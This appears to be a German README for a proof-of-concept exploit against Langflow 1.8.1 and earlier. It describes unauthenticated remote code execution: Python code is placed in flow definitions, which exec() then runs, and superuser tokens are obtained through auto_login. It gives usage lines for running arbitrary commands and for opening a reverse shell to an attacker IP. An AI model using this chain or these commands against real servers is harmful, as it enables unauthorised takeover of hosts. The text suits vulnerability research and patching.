
Die Schwachstelle in Langflow 1.8.1 und früheren Versionen ermöglicht es einem entfernten, nicht authentifizierten Angreifer, beliebige Befehle auf dem Host auszuführen.
Die Schwachstelle in Langflow 1.8.1 und früheren Versionen ermöglicht es einem entfernten, nicht authentifizierten Angreifer, beliebige Befehle auf dem Host auszuführen.
Der Endpunkt POST /api/v1/build_public_tmp/{flow_id}/flow erlaubt es jedem, öffentliche Flows ohne Authentifizierung zu erstellen.
Durch die Angabe des optionalen Datenparameters kann ein Angreifer den gespeicherten Flow mit einer eigenen, manipulierten Definition überschreiben und dabei beliebigen Python-Code in die Knotenkonfigurationen einbetten. Dieser vom Benutzer kontrollierte Code wird über exec() ohne Sandboxing oder Validierung ausgeführt, was zu nicht authentifizierter Remote-Codeausführung führt.
Langflow 1.8.1 und früher
AUTO_LOGIN=trueWenn AUTO_LOGIN=true (Standardkonfiguration), kann ein nicht authentifizierter Angreifer alle Bedingungen erfüllen:
GET /api/v1/auto_login → Erhalt eines Superuser-TokensPOST /api/v1/flows/ → Erstellen eines öffentlichen Flowsbuild_public_tmp ohne jegliche Authentifizierungpython cve-2026-33017.py <host> [Optionen]
Optionen:
-p PORT, --port PORT: SSH-Port (Standard: 7860)
-id FLOW_ID, --flow_id FLOW_ID: Öffentliche Flow-ID (eine neue wird erstellt, wenn weggelassen)
-c COMMAND, --command COMMAND: Benutzerdefinierter Befehl zur Ausführung
--shell: Starten einer Reverse Shell
--lhost LHOST: IP des Angreifers für die Reverse Shell
--lport LPORT: Port des Angreifers für die Reverse Shell (Standard: 4444)
-t TIMEOUT, --timeout TIMEOUT: Verbindungs-Timeout in Sekunden (Standard: 5)
python cve-2026-33017.py 127.0.0.1 -c 'touch /tmp/pwned.txt'
python cve-2026-33017 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
Dieser PoC dient nur zu Bildungs- und Forschungszwecken. Verwenden Sie ihn auf eigenes Risiko. Der Autor ist nicht für Missbrauch oder verursachte Schäden verantwortlich.